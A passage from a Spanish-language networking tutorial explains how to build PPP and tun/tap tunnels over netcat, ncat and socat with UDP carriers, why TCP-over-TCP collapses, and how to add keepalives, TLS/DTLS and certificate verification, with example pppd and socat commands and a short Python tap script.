apilados uno sobre otro, con el exterior escondiéndole la pérdida al interior. Olaf Titz escribió la explicación definitiva, y abre precisamente con esta construcción:\nA frequently occurring idea for IP tunneling applications is to run a protocol like PPP, which encapsulates IP packets in a format suited for a stream transport (like a modem line), over a TCP-based connection. […] Unfortunately, it doesn\u0026rsquo;t work well. Long delays and frequent connection aborts are to be expected.6\nUn paquete perdido, dos portadores, dos desenlaces muy distintos Se pierde un paquete. Lo que hace después cada portador. PORTADOR TCP — el túnel esconde la pérdida 1 El portador pierde un segmento. 2 El portador lo retransmite. Los bytes llegan tarde, no faltan — y ese es el problema entero. 3 El TCP tunelizado no ve el portador. Lee el retraso como congestión, dobla su temporizador y retransmite datos que ya vuelan por debajo. 4 Ahora el portador debe el original y un duplicado, por un enlace que acaba de probar que pierde paquetes. La cola crece más rápido de lo que las capas la vacían. El rendimiento se hunde mucho antes que el enlace. PORTADOR UDP — la pérdida llega a la capa a la que pertenece 1 El portador tira el paquete y no dice nada. 2 La trama PPP de dentro falla su suma de verificación y se descarta. El siguiente byte de bandera resincroniza. 3 El TCP tunelizado ve una pérdida real, porque por una vez le han dicho la verdad sobre el camino. 4 Reduce su ventana a la mitad y retransmite una vez. El control de congestión hace exactamente aquello para lo que se diseñó. Un paquete perdido cuesta uno. El TCP portador garantiza la entrega, así que un segmento perdido se retransmite y los bytes llegan tarde en vez de no llegar. El TCP tunelizado de dentro solo ve el retraso, decide que la red está congestionada, se echa atrás y retransmite los mismos datos — que el portador tiene ahora que entregar también. El temporizador de cada capa intenta arreglar un problema que la otra capa ya tiene suyo, y la cola crece más rápido de lo que ninguna puede vaciarla. Un portador UDP tira el paquete, el TCP interior ve una pérdida real, y su control de congestión hace el trabajo para el que fue diseñado. Esta es la forma. Los dos TCP fijan un temporizador de retransmisión a partir de su tiempo de ida y vuelta. Cuando el portador pierde un segmento, retransmite, así que los datos de la conexión interior llegan tarde. Y el TCP interior, que no ve el portador, lee «tarde» como congestión y retransmite también. Ahora el portador tiene el original y un duplicado que entregar por un enlace que ya está perdiendo paquetes. El temporizador interior se dobla, la cola exterior crece, y el rendimiento se hunde mucho antes que el enlace. Nada en los registros dice por qué.\nEsto no es un punto sutil de eficiencia. Es la diferencia entre un túnel que se degrada con elegancia y otro que deja de pasar tráfico con quizá un 2 % de pérdida mientras ping por ese mismo camino sigue viéndose bien — la razón para usar UDP, y para guardar TCP en la reserva solo para un camino que no vaya a pasar ninguna otra cosa.\nAsí que usa UDP — como valor por defecto, no como preferencia.\nFase Dos: La Construcción UDP, Que Es El Cimiento El mismo pppd, otro portador. Lo único que cambia es el comando de pty.\nExtremo que escucha:\npppd nodetach noauth local passive \\ nodefaultroute noipdefault \\ 192.0.2.1:192.0.2.2 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat --udp --listen 198.51.100.10 443\u0026#39; Extremo que conecta:\npppd nodetach noauth local \\ nodefaultroute noipdefault \\ 192.0.2.2:192.0.2.1 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat --udp 198.51.100.10 443\u0026#39; Dos cosas de un servicio de escucha UDP que te van a pillar, y ninguna es un problema de PPP.\nQuien escucha no puede responder hasta que le hablan. Un socket UDP no tiene conexión que aceptar, así que netcat no puede saber a dónde mandar las respuestas hasta que llega un datagrama. Se engancha a la primera dirección y puerto de origen que oye y le habla a eso. Esto significa que el extremo que conecta tiene que hablar primero — cosa que pppd hace solo, porque el extremo no pasivo empieza a disparar peticiones de configuración LCP de inmediato. También significa que si el puerto de origen del cliente cambia, el portador está hablando en silencio con el sitio equivocado. Detrás de un NAT con un tiempo de espera UDP corto, eso es un túnel que se muere cada pocos minutos sin razón visible.\n--keep-open no hace lo que quieres en UDP. El -k de Ncat mantiene un servicio de escucha TCP aceptando después de que un par se vaya. En UDP no hay nada que aceptar, así que recuperarse significa reiniciar el portador — para lo que están persist y holdoff, más abajo.\nLas dos son argumentos a favor de socat, que trata a los pares UDP con más cuidado, y a favor de un supervisor en vez de confiar en que se quede en pie.\nPor Qué PPP Sobrevive A Un Datagrama Perdido La objeción evidente a un portador UDP es que PPP espera un flujo de bytes y UDP no lo es: los datagramas llegan enteros o no llegan, y pueden llegar desordenados. Funciona igualmente, por dos bytes que el tramado ha llevado desde siempre.\nUn datagrama perdido cuesta una trama, y el siguiente byte de bandera recupera el enlace Las fronteras no coinciden, y da igual TRAMAS PPP TAL COMO LAS ESCRIBIÓ pppd 7E trama A + FCS 7E trama B + FCS 7E trama C + FCS 7E trama D + FCS LO QUE EL PORTADOR ENVIÓ DE VERDAD — netcat lee un búfer, no una trama datagrama 1 datagrama 2 — perdido datagrama 3 datagrama 4 La trama B pierde su parte central, así que su suma de verificación falla y se descarta. La trama C pierde sus primeros bytes y corre igual suerte. Dos tramas perdidas son dos paquetes IP perdidos. La capa de encima los retransmite, y lo hace sabiendo que el camino perdió algo — que es precisamente la señal que un portador TCP habría escondido entregándolos tarde. Netcat lee lo que haya en el búfer y lo escribe en un datagrama, así que las fronteras de trama y las de datagrama no tienen nada que ver entre sí. Pierde un datagrama y el receptor ve una trama a la que le faltan bytes: la secuencia de verificación de trama falla y la trama se descarta, exactamente como haría en una línea serie ruidosa. El siguiente 0x7E resincroniza el flujo. Una trama descartada cuesta un paquete, y la capa de encima lo retransmite — que es la señal de pérdida que el TCP interior necesitaba y nunca tuvo sobre un portador TCP. PPP sobre HDLC asíncrono se diseñó para una línea que corrompe bytes. Cada trama lleva una secuencia de verificación de trama de 16 bits; una trama que falla se descarta, y el siguiente byte de bandera resincroniza al receptor. El desorden es más raro que la pérdida y produce el mismo resultado: una FCS mala, una trama descartada, una resincronización.\nAsí que un datagrama perdido cuesta una trama PPP — un paquete IP, la condición normal de toda red que se ha construido jamás. El dueño del paquete retransmite, y el control de congestión ve una pérdida real y responde correctamente. Ese es el argumento entero a favor de UDP: deja que el tráfico de dentro del túnel se entere de la verdad sobre el camino.\nEso sí, no dejes que las tramas crezcan hasta necesitar que el portador las fragmente. Un fragmento perdido mata entonces el datagrama entero y tu tasa de pérdida efectiva se multiplica. Mantén la MTU de PPP bien por debajo de la MTU del camino.\nDirecciones, Rutas, Y Hacer IPv6 Como Es Debido ppp0 es una interfaz punto a punto — sin subred, sin ARP — así que local:remoto es todo el direccionamiento y enrutas por encima de forma explícita. Para un solo equipo que alcanza una red detrás del extremo lejano:\n# en el cliente, una vez levantado el enlace ip route add 203.0.113.0/24 via 192.0.2.1 dev ppp0 Para que el extremo lejano reenvíe por cuenta del cliente, los dos pasos de siempre:\nsysctl -w net.ipv4.ip_forward=1 nft add rule inet nat postrouting oifname \u0026#34;eth0\u0026#34; ip saddr 192.0.2.2/32 masquerade proxyarp hará que el servidor responda al ARP del cliente en su propio segmento4, lo cual está bien hasta que un segundo cliente quiere lo mismo. Haz entonces la parte que casi todo el mundo se salta. Ejecuta IPv6 por encima — un enlace punto a punto sin NAT, sin dominio de difusión y sin escasez de direcciones es el sitio más fácil de tu red para hacer IPv6 como es debido:\npppd nodetach noauth local \\ +ipv6 ipv6 ::1,::2 \\ nodefaultroute noipdefault \\ 192.0.2.2:192.0.2.1 \\ pty \u0026#39;ncat --udp 198.51.100.10 443\u0026#39; +ipv6 habilita IPV6CP; ipv6 \u0026lt;local\u0026gt;,\u0026lt;remoto\u0026gt; fija los dos identificadores de interfaz de 64 bits4, el enlace se levanta con enlace-local, y le pones un /64 global encima7. IPV6CP es independiente de IPCP, así que noip no lleva más que IPv6 — algo razonable de construir en 2026, en una sola palabra.\nMantenerlo En Pie Cuando El Portador Muere En Silencio Este es el fallo que se come una tarde, así que le toca su propia sección.\nUn portador TCP que muere mal — el extremo lejano apagado, una entrada de tabla NAT caducada, una caja intermedia que dejó de reenviar — no se cierra. No hay FIN, ni RST, ni nada. Netcat se queda ahí sujetando un socket que no entregará otro byte jamás, pppd se queda ahí sujetando un pty que no verá otra trama jamás, e ip link informa tan contento de que ppp0 está UP. Un portador UDP no tiene estado de conexión ninguno, así que nunca se entera de nada.\nPPP trae la respuesta incorporada, y viene desactivada:\nlcp-echo-interval 10 lcp-echo-failure 3 Eso manda un eco LCP cada diez segundos y tira el enlace después de tres sin respuesta4 — treinta segundos para pillar un portador muerto, en exactamente el caso que nombra la página de manual, «no hardware modem control lines»4, que es todo pty que se haya fabricado. Después decide qué pasa a continuación:\npersist maxfail 0 holdoff 5 Detectar un portador muerto en treinta segundos, y reconstruirlo Un portador puede morir sin cerrarse. Así se entera PPP, y así se recupera. El portador muere en silencio extremo lejano apagado · entrada NAT ida · la caja intermedia deja de reenviar Nada lo informa sin FIN, sin RST · ip link sigue diciendo ppp0 UP · UDP no tiene estado El detector lcp-echo-interval 10 lcp-echo-failure 3 eco cada 10 s, caído tras 3 fallidos — 30 s La reconstrucción persist maxfail 0 holdoff 5 reiniciar, no rendirse, 5 s entre intentos Un solo supervisor unidad systemd, Restart=always, pppd reejecuta el comando de pty — netcat y socket nuevos con él Pon el eco en los dos extremos. Un eco solo demuestra el camino por el que volvió la respuesta. Pon `ip route` en /etc/ppp/ip-up.d/ y las rutas IPv6 en /etc/ppp/ipv6-up.d/, para que el enrutado se vuelva a aplicar cada vez que el enlace regresa — y no puesto una vez a mano y perdido en la primera reconexión. lcp-echo-interval 10 lcp-echo-failure 3 es el detector: un eco cada diez segundos, enlace caído tras tres fallidos. persist maxfail 0 holdoff 5 es la reconstrucción: reiniciar, no rendirse nunca, esperar cinco segundos para que un camino inestable no sea una bomba de bifurcación — y pppd vuelve a ejecutar el comando de pty, así que vienen con él un netcat y un socket nuevos. Pon el eco en los dos extremos; un solo supervisor, una unidad de systemd con Restart=always, gana a dos procesos discutiendo. Pon ip route en /etc/ppp/ip-up.d/ para que el enrutado vuelva con el enlace. No Tiene Cifrado Ni Autenticación Todo lo de arriba es un túnel que funciona. No es uno seguro, y el hueco no es un detalle.\nNo hay cifrado. No es cifrado débil. Es ninguno. Cada paquete que metas por aquí va en claro por el cable, envuelto en una trama HDLC que cualquier herramienta de captura descodifica al verla. tcpdump te enseñará el contenido del túnel de otro con la misma facilidad que el tuyo.\nNo hay autenticación del par. noauth lo dice. Un servicio de escucha netcat acepta lo que llegue al puerto: la primera conexión o el primer datagrama desde donde sea. Quien llegue primero se lleva un enlace enrutado hacia dentro de tu red. PPP sí tiene autenticación (PAP en claro, CHAP como desafío-respuesta8), y las dos demuestran quién es el par sin cifrar ni un byte de lo que viene después: CHAP aquí te da un túnel que sabe con quién habla y sigue publicando el contenido a cualquiera que esté en el camino.\nHay una opción de cifrado en la familia PPP — MPPE9, el módulo que está en ppp_mppe.ko. No eches mano de él: es RC4 con clave derivada del intercambio MS-CHAPv2, roto en público desde hace más de una década, y la razón de que PPTP esté muerto. Construir un túnel nuevo sobre él en 2026 elige un cifrador roto conocido por encima de uno que funciona y no cuesta nada.\nAsí que el resumen honesto hasta aquí: un enlace enrutado sin confidencialidad y sin control de acceso. Bien para un laboratorio, bien dentro de un enlace que ya está cifrado, mal en cualquier otro sitio. El arreglo es cifrar el portador — las dos secciones siguientes, y la razón para usar ncat en vez del netcat que traiga tu distribución.\nFase Tres: Envolver El Portador En TLS La respuesta limpia deja pppd exactamente como está y sustituye el portador por uno que hace TLS. pppd no se entera nunca de que algo cambió.\nPrimero el certificado. Uno autofirmado basta mientras el cliente lo verifique. Una sesión TLS sin verificar es una conversación cifrada con alguien a quien no has identificado, y eso no detiene a nadie:\nopenssl req -x509 -newkey rsa:4096 -days 825 -nodes \\ -keyout tunnel.key -out tunnel.crt \\ -subj \u0026#34;/CN=tunnel.example.net\u0026#34; \\ -addext \u0026#34;subjectAltName=DNS:tunnel.example.net\u0026#34; Ncat Ncat trae TLS incorporado. También encadena a través de un proxy, --proxy equipo:puerto --proxy-type http|socks4|socks510, así que el portador puede terminar en un relé en vez de en el extremo lejano del túnel. Ese es el punto sobre el que gira la sección de la salida. Extremo que escucha:\npppd nodetach noauth local passive \\ nodefaultroute noipdefault 192.0.2.1:192.0.2.2 \\ lcp-echo-interval 10 lcp-echo-failure 3 mtu 1400 mru 1400 \\ pty \u0026#39;ncat --listen --keep-open --ssl --ssl-cert tunnel.crt --ssl-key tunnel.key 443\u0026#39; Extremo que conecta:\npppd nodetach noauth local \\ nodefaultroute noipdefault 192.0.2.2:192.0.2.1 \\ lcp-echo-interval 10 lcp-echo-failure 3 mtu 1400 mru 1400 \\ pty \u0026#39;ncat --ssl --ssl-verify --ssl-trustfile tunnel.crt tunnel.example.net 443\u0026#39; --ssl-verify es la palabra que importa. Sin ella, --ssl te da cifrado frente a quien escucha de forma pasiva y nada frente a quien conteste el puerto primero; con ella, Ncat verifica la confianza y el nombre de dominio contra el fichero de confianza11. Eso sí, Ncat no comprueba certificados de cliente en el lado servidor, así que el servidor no puede identificar al cliente. Combínalo con CHAP, o usa uno de los dos siguientes.\nStunnel El envoltorio tradicional, y el que hace la autenticación mutua como es debido:\n[ppp] accept = 443 connect = 127.0.0.1:6001 cert = /etc/stunnel/tunnel.crt key = /etc/stunnel/tunnel.key CAfile = /etc/stunnel/clients.crt verify = 2 verify = 2 exige un certificado de cliente firmado por una CA que esté en CAfile — el control de acceso que la construcción con netcat nunca tuvo. El cliente ejecuta stunnel en modo cliente, y el comando de pty de pppd conecta al lado local en claro.\nSocat socat hace el asunto entero en un proceso por extremo, con la verificación activada por defecto:\n# extremo que escucha pppd ... pty \u0026#39;socat - OPENSSL-LISTEN:443,reuseaddr,cert=tunnel.pem,cafile=clients.crt,verify=1\u0026#39; # extremo que conecta pppd ... pty \u0026#39;socat - OPENSSL:tunnel.example.net:443,cafile=tunnel.crt,verify=1\u0026#39; socat no está instalado en la máquina en la que se escribió esto, así que eso sale de su documentación — comprueba tus propias banderas. Es el que yo cogería, porque es el único de los cuatro que además habla DTLS.\nOpenssl, cuando no hay otra cosa openssl está en toda máquina que tenga TLS, y s_server/s_client llevarán una tubería:\n# extremo que escucha pppd ... pty \u0026#39;openssl s_server -quiet -accept 443 -cert tunnel.crt -key tunnel.key\u0026#39; # extremo que conecta pppd ... pty \u0026#39;openssl s_client -quiet -verify_return_error -CAfile tunnel.crt -connect tunnel.example.net:443\u0026#39; -quiet calla el cartel que si no acabaría dentro de tu flujo PPP, y -verify_return_error hace que un fallo de verificación cierre la conexión en vez de avisar y seguir. Son herramientas de depuración portándose como tales, pero en una máquina donde no puedes instalar nada te levantan un enlace.\nA secas, TLS sobre TCP, o DTLS sobre UDP La misma mitad de enlace en los dos extremos. Solo cambia el medio. pppd o tap0 netcat a secas, UDP ncat --udp --listen 6000 pppd o tap0 En claro por el cable, y quien escucha coge a quien llegue primero al puerto. Sin confidencialidad, sin control de acceso. pppd o tap0 TLS sobre TCP — ncat, stunnel u openssl ncat --ssl --ssl-verify --ssl-trustfile tunnel.crt host 6000 pppd o tap0 Protegido, y el certificado dice quién es el extremo lejano. Pero el portador vuelve a ser TCP — y es la única forma que comprime en flujo. pppd o tap0 DTLS sobre UDP — socat u openssl socat - OPENSSL-DTLS-CLIENT:host:6000,cafile=tunnel.crt,verify=1 pppd o tap0 Cifrado, autenticado, y todavía datagramas. Un paquete perdido sigue perdido en vez de dos pilas discutiendo. Apunta aquí. El mismo pppd en los dos extremos en todo momento — solo cambia el comando de pty. Netcat a secas te da un enlace sin nada que lo proteja. TLS sobre TCP protege los bytes y reintroduce el problema del TCP portador. DTLS sobre UDP es la forma a la que apuntar: cifrado, autenticado, y todavía un portador de datagramas, así que un paquete perdido sigue siendo un paquete perdido en vez de convertirse en una pelea de retransmisiones entre dos pilas. Fase Cuatro: DTLS, Porque El Portador Debería Seguir Siendo UDP Aquí viene la parte incómoda, y la razón de que esta sección vaya aparte. Todas las opciones de TLS de arriba van sobre TCP, así que envolver el portador en TLS deshace el argumento a favor de UDP y te devuelve el derretimiento. El cifrado y el transporte correcto no deberían ser un trueque. DTLS es TLS sobre datagramas, y es lo que quieres: conserva la protección de la capa de registro, tira las garantías de orden y retransmisión, y deja perdidos los paquetes perdidos, que es exactamente lo que la secuencia de verificación de trama de PPP está hecha para absorber.\nNcat no puede. socat y openssl sí:\n# extremo que escucha pppd ... pty \u0026#39;socat - OPENSSL-DTLS-LISTEN:443,cert=tunnel.pem,cafile=clients.crt,verify=1\u0026#39; # extremo que conecta pppd ... pty \u0026#39;socat - OPENSSL-DTLS-CLIENT:tunnel.example.net:443,cafile=tunnel.crt,verify=1\u0026#39; Y con openssl a solas, donde -dtls elige cualquier versión de DTLS:\n# extremo que escucha pppd ... pty \u0026#39;openssl s_server -quiet -dtls -accept 443 -cert tunnel.crt -key tunnel.key\u0026#39; # extremo que conecta pppd ... pty \u0026#39;openssl s_client -quiet -dtls -verify_return_error -CAfile tunnel.crt -connect tunnel.example.net:443\u0026#39; Vigila el tamaño de la trama. Un registro DTLS no se puede fragmentar como un registro TLS se reparte por un flujo TCP, así que todo tiene que caber de una vez en la MTU del camino.\nLa pila de sobrecarga, y la MTU interior que sobra Baja desde la MTU del camino y usa lo que quede cabecera IP20 (v4) / 40 (v6) cabecera UDP8 registro DTLS + etiqueta≈ 30 tramado PPP / Ethernetunos pocos MTU interior — lo que el túnel puede llevar: apunta a 1400, suelo 1280 Un registro DTLS no se puede fragmentar como un registro TLS se reparte por un flujo TCP, así que todo esto tiene que caber de una vez en la MTU del camino. La misma forma que OpenVPN desde 2001 — un portador de datagramas, DTLS, una interfaz virtual encima. No es excéntrico; solo está desmontado. Baja desde 1500: 20 bytes de cabecera IPv4 o 40 de IPv6, 8 de UDP, unos 30 para el registro DTLS y su etiqueta, unos pocos para el tramado, y el resto es la MTU interior que puede llevar el túnel. Apunta a 1400 en un camino normal; 1280 es el suelo seguro si algo por el medio es a su vez un túnel. Esta forma — un portador de datagramas, DTLS, una interfaz virtual encima — es casi lo que hace OpenVPN desde 2001. No es excéntrica; solo está desmontada. Ajustar La Construcción PPP: MTU, Compresión, Y Qué Ayuda De Verdad Cuatro mandos, todos opciones de pppd — la construcción con tap de la sección siguiente no tiene ninguno, porque no tiene nada de la maquinaria que configuran.\nCuatro mandos de pppd: uno que poner, uno que dejar, dos que apagar Uno que poner, uno que dejar, dos que apagar PONLO MTU y MRU Los dos extremos, con margen: 1400 a secas, 1280 bajo un túnel. Una trama fragmentada pierde un paquete entero. DÉJALA ACCM Ya está a cero por defecto, que es lo correcto en un socket limpio. Tócala solo si algo se come los caracteres de control. APAGA novj Compresión de cabeceras de Van Jacobson Ahorra un error de redondeo en un enlace rápido, cuesta CPU por paquete y se rompe bajo pérdida. Apagada por encima del módem. APAGA nodeflate nobsdcomp La carga ya es TLS/DTLS — comprimir texto cifrado es trabajo puro, y a través de una frontera de seguridad, un ataque. Ninguno de estos hace el túnel más rápido. PPP no es el cuello de botella — PPPoE hace 2 Gbit con el mismo demonio, porque su camino de datos se queda en el núcleo. El coste aquí es el pty: cada byte cruza al espacio de usuario y vuelve. Eso es del pseudoterminal, no de PPP. La MTU y la MRU son las que importan: ponlas en los dos extremos con margen, porque una trama que el portador tenga que fragmentar pierde un paquete entero con cualquier descarte. La ACCM ya está a cero y correcta en un socket limpio. Apaga la compresión de cabeceras de Van Jacobson con novj por encima de la velocidad de un módem. Ahorra un error de redondeo, cuesta CPU por paquete y se rompe bajo pérdida. Apaga deflate/bsdcomp: la carga ya está cifrada, y comprimir a través de una frontera de seguridad es un ataque, no una función. Nada de eso hace el túnel más rápido, y la razón importa, porque a PPP se le culpa de ello y no debería. PPP no es el cuello de botella. PPPoE lleva 2 Gbit con el mismo demonio, porque su camino de datos no sale nunca del núcleo — ppp_generic y pppoe hacen el tramado y el reenvío, y pppd solo se ocupa del plano de control. Lo que te cuesta aquí es el pty: cada byte cruza al espacio de usuario, atraviesa netcat, entra en un socket y vuelve, un viaje de ida y vuelta que PPPoE no hace nunca. Eso es del pseudoterminal, no de PPP.\nQue es un buen momento para mirar la otra forma de hacer esto, donde no hay pty ninguno.\nLa Otra Forma: Un Dispositivo Tap, Y Nada De PPP Todo hasta aquí ha usado PPP para la mitad del enlace. Hay una segunda forma de fabricar una interfaz virtual, y no necesita protocolo ninguno.\nEl controlador TUN/TAP del núcleo te entrega una interfaz y un descriptor de fichero atados entre sí: escribe un paquete en el descriptor y aparece en la interfaz como si viniera de un cable; lee y obtienes un paquete que el núcleo quería mandar. Esa es la interfaz entera12, y está en Linux desde 1999.\nip tuntap add dev tap0 mode tap user damien group damien ip link set tap0 mtu 1400 up ip addr add 192.0.2.1/30 dev tap0 Un tap es una interfaz por un lado y un descriptor de fichero por el otro Sin demonio, sin protocolo, sin pseudoterminal. Un descriptor de fichero. NÚCLEO tap0 una interfaz normal, con una dirección y una ruta /dev/net/tun TUNSETIFF nombra el dispositivo que obtienes tu proceso socat, o cincuenta líneas de Python sujetando el fd socket UDP una trama por datagrama la red y el extremo lejano una lectura = una trama Lo que falta frente a la construcción PPP: sin tamaño de trama negociado, sin comprobación de vida, sin direcciones intercambiadas, sin autenticación. Configuras los dos extremos a mano y nunca hablan de ello. Nada vigila el enlace, así que nada te dirá que se murió. Sin demonio y sin protocolo. El núcleo presenta tap0 como una interfaz normal y entrega el otro lado al proceso que abrió /dev/net/tun. Una lectura devuelve exactamente una trama Ethernet; una escritura inyecta exactamente una. Todo lo que pppd negociaba — direcciones, tamaños de trama, comprobación de vida — ahora lo configuras a mano en los dos extremos, y los dos extremos no hablan de nada de eso entre sí. Dos detalles de ese primer comando valen más de lo que parecen.\nuser damien hace el dispositivo persistente y sin privilegios. Creado así sobrevive al proceso que lo usa, y un usuario nombrado puede abrirlo sin ser root. Root crea el dispositivo una vez; la cosa que palea tramas no necesita root para nada. Guarda esa idea para la sección de la salida.\nmode tun es la otra mitad del mismo controlador, y es la que casi todo el mundo quiere en realidad. Tun lleva paquetes IP. Tap lleva tramas Ethernet. La diferencia importa lo bastante como para tener su propia sección abajo.\nLo que cedes frente a PPP es todo lo que PPP negocia: sin LCP, así que sin tamaño de trama acordado ni comprobación de vida; sin IPCP/IPV6CP, así que los dos extremos se configuran a mano; sin autenticación, sin compresión de cabeceras. Un dispositivo tap es un agujero en el núcleo, y el protocolo que va por él es el que tú pongas. Lo que ganas es cero sobrecarga de tramado, cero escapes, cero canal de control, y una interfaz que se puede puentear.\nTap Sobre UDP, Donde Un Datagrama Es Una Trama Esta es la correspondencia más limpia del artículo entero, y sale sola del diseño. Un dispositivo tap es un dispositivo de datagramas — un read() devuelve exactamente una trama — y un socket UDP es un socket de datagramas, un sendto() por datagrama. Así que una trama entra en un datagrama, llega como trama, y no hay nada que delimitar, almacenar ni resincronizar. Pierde un datagrama y has perdido una trama, que es como se ve un paquete descartado de todos modos.\nCon socat, cada extremo es un comando:\n# extremo que escucha socat TUN:192.0.2.1/30,tun-type=tap,tun-name=tap0,iff-up UDP-LISTEN:443 # extremo que conecta socat TUN:192.0.2.2/30,tun-type=tap,tun-name=tap0,iff-up UDP:198.51.100.10:443 socat no está instalado en la máquina en la que se escribió esto, así que esos dos salen de su documentación y no de una ejecución aquí — comprueba los nombres de dirección de tu propia versión antes de fiarte. Merece la pena tenerlo: es la única herramienta de este artículo que hace tun, tap, TLS y DTLS en un solo proceso.\nDonde no puedas instalar nada, el trabajo entero son unas cincuenta líneas sin más dependencias que la biblioteca estándar. El corazón, con IFF_NO_PI apagando la cabecera de cuatro bytes que el controlador antepondría si no:\nTUNSETIFF, IFF_TAP, IFF_NO_PI = 0x400454CA, 0x0002, 0x1000 # IFF_TUN is 0x0001 def open_tap(name): fd = os.open(\u0026#34;/dev/net/tun\u0026#34;, os.O_RDWR) fcntl.ioctl(fd, TUNSETIFF, struct.pack(\u0026#34;16sH\u0026#34;, name.encode(), IFF_TAP | IFF_NO_PI)) return fd # ... learn the peer from the first datagram (UDP has no accept), then shovel: while True: ready, _, _ = select.select([tap, sock], [], []) if tap in ready and peer: sock.sendto(os.read(tap, MTU), peer) # one read = one frame = one datagram if sock in ready: frame, src = sock.recvfrom(MTU) peer = src # last speaker wins — see the note below if frame: os.write(tap, frame) El fichero completo — el análisis de argumentos, IPv6 con getaddrinfo, el datagrama de longitud cero que le dice a un servicio de escucha UDP dónde responder, y la compresión que añade la sección siguiente — está en el paquete:\n\u0026#8615; tapcat.py — el asunto entero, unas cien líneas tapcat.py · 6 kB peer = src en cada datagrama es la parte que hay que leer dos veces. Quien mandó la última trama se convierte en el par. Cómodo detrás de un NAT cuyo puerto de origen no para de moverse, y una puerta abierta en una red no confiable, donde cualquiera que pueda mandar un datagrama al puerto se queda con el túnel. Bien dentro de una sesión DTLS, que es a donde va esto; mal por sí solo. La mitad del socket del script se probó aquí sobre loopback IPv6: llega quien abre, quien escucha aprende el par, una trama cruza y vuelve la respuesta; la mitad del tap necesita root, la única parte que no pude ejecutar.\nSobre TCP Tienes Que Inventarte El Tramado Cambia ahora el portador por TCP y mira cómo aparece un problema entero que PPP resolvió en silencio en 1994.\nTCP es un flujo de bytes sin fronteras de registro y sin promesa alguna sobre cómo se agrupan los bytes al llegar: dos tramas escritas seguidas pueden llegar en una lectura, o una trama en tres. El receptor tiene un montón de bytes sin idea de dónde acaba una trama, y un dispositivo tap solo acepta tramas enteras.\nUn datagrama por trama, o un prefijo de longitud que hay que inventarse Una lectura de un tap es una trama. Mantenerlo así es trabajo del portador. SOBRE UDP — la frontera sale gratis datagrama = trama A datagrama = trama B datagrama = trama C datagrama = trama D Una lectura, un datagrama, una escritura en el extremo lejano. Nada que delimitar, nada que almacenar, nada que resincronizar tras una pérdida. SOBRE TCP — las fronteras desaparecen y hay que devolverlas un solo flujo de bytes — dos tramas pueden llegar en una lectura, una trama en tres len trama A len trama B len trama C len trama D Dos bytes de longitud en big-endian delante de cada trama, y un receptor que lee la longitud y después exactamente esos bytes. Funciona, y no se recupera. HDLC se resincroniza en el siguiente 0x7E porque una bandera no es ambigua; un flujo con prefijos que pierde el sitio lee todas las longitudes siguientes de en medio de una trama. Añade un marcador y una suma y habrás rehecho HDLC. Sobre UDP, una trama es un datagrama y la frontera sale gratis. Sobre TCP las fronteras desaparecen, así que quien envía tiene que añadir un prefijo de longitud a cada trama y quien recibe tiene que reensamblar a partir de él. PPP no tiene este problema porque trae su propio tramado — un byte de bandera en cada punta y una suma de verificación — que es también lo que le permite resincronizar tras un daño. Un flujo con prefijos de longitud no puede: pierde el paso un byte y todas las tramas siguientes salen mal. Así que sobre TCP escribes tu propio tramado. Dos bytes de longitud en big-endian delante de cada trama es la respuesta habitual:\n# sending sock.sendall(struct.pack(\u0026#34;!H\u0026#34;, len(frame)) + frame) # receiving def recv_exactly(sock, n): buf = b\u0026#34;\u0026#34; while len(buf) \u0026lt; n: chunk = sock.recv(n - len(buf)) if not chunk: raise ConnectionError(\u0026#34;carrier closed\u0026#34;) buf += chunk return buf length = struct.unpack(\u0026#34;!H\u0026#34;, recv_exactly(sock, 2))[0] frame = recv_exactly(sock, length) Eso funciona, y es estrictamente peor que la versión UDP. Es el problema de TCP sobre TCP otra vez; añade dos bytes y un bucle de reensamblado por trama; y no tiene vuelta atrás desde un error, porque un flujo con prefijos de longitud que pierde el sitio lee cada longitud siguiente de en medio de una trama. HDLC resincroniza en el siguiente 0x7E; esto no puede, salvo que reinventes HDLC peor. Tercer argumento a favor de UDP, y el más fuerte: sobre un portador de datagramas no hay problema de tramado, porque el portador ya trae la única función que necesitabas.\nTun O Tap: Capa 3 Salvo Que Necesites De Verdad Capa 2 El mismo controlador te da dos dispositivos, y la gente elige el equivocado sin parar porque un tutorial dijo tap.\ntun tap Qué cruza paquetes IP tramas Ethernet Sobrecarga por paquete ninguna cabecera Ethernet de 14 bytes ARP, DHCP, difusión no sí, todo, por el túnel Protocolos que no son IP no sí Puede unirse a un puente no sí Equivale a un enlace punto a punto, como ppp0 un cable de red Tun es un enlace enrutado — como la interfaz PPP de la primera mitad: dos direcciones, una ruta, paquetes que entran y salen. Tap es un cable Ethernet virtual, así que cada difusión, cada consulta ARP y cada trozo de ruido multicast del segmento cruza ahora tu túnel y quema ancho de banda.\nCambia una línea del script para cambiar de uno a otro:\nIFF_TUN = 0x0001 # instead of IFF_TAP Usa tap cuando necesites de verdad capa 2. Hay razones reales: un protocolo que no es IP, un latido de clúster que espera ver difusiones, un servidor DHCP que tiene que alcanzar clientes al otro lado del túnel, o puentear dos segmentos en uno.\nEsto último es el caso habitual y con el que hay que tener cuidado:\nip link add br0 type bridge ip link set tap0 master br0 ip link set eth1 master br0 ip link set br0 up Ahora el segmento remoto es parte del tuyo local — sus difusiones, su árbol de expansión, su barullo de MAC y, si alguien fue descuidado, su servidor DHCP. Puentear dos sedes que las dos usan 192.168.1.0/24 es una mala tarde; una que da la vuelta al mismo segmento es una mala semana. Usa tun por defecto, echa mano de tap cuando puedas nombrar la cosa de capa 2 que necesitas, y puentea solo después de mirar qué está difundiendo en los dos lados.\nLos Mismos Envoltorios, Un Proceso Por Extremo La construcción con tap tiene el mismo agujero que la de PPP: el portador va en claro y quien escucha acepta a quien llegue primero. El arreglo es el mismo, y con socat se reduce a un comando por extremo, porque fabrica el dispositivo y termina la sesión DTLS en un solo proceso:\n# extremo que escucha socat TUN:192.0.2.1/30,tun-type=tap,tun-name=tap0,iff-up \\ OPENSSL-DTLS-LISTEN:443,cert=tunnel.pem,cafile=clients.crt,verify=1 # extremo que conecta socat TUN:192.0.2.2/30,tun-type=tap,tun-name=tap0,iff-up \\ OPENSSL-DTLS-CLIENT:tunnel.example.net:443,cafile=tunnel.crt,verify=1 Esa es la construcción correcta más corta de este artículo. Una interfaz virtual, un portador de datagramas, autenticación mutua por certificado y cifrado. Dos comandos. Sin demonio, sin negociación de protocolo.\nverify=1 no es opcional — el mismo punto que con 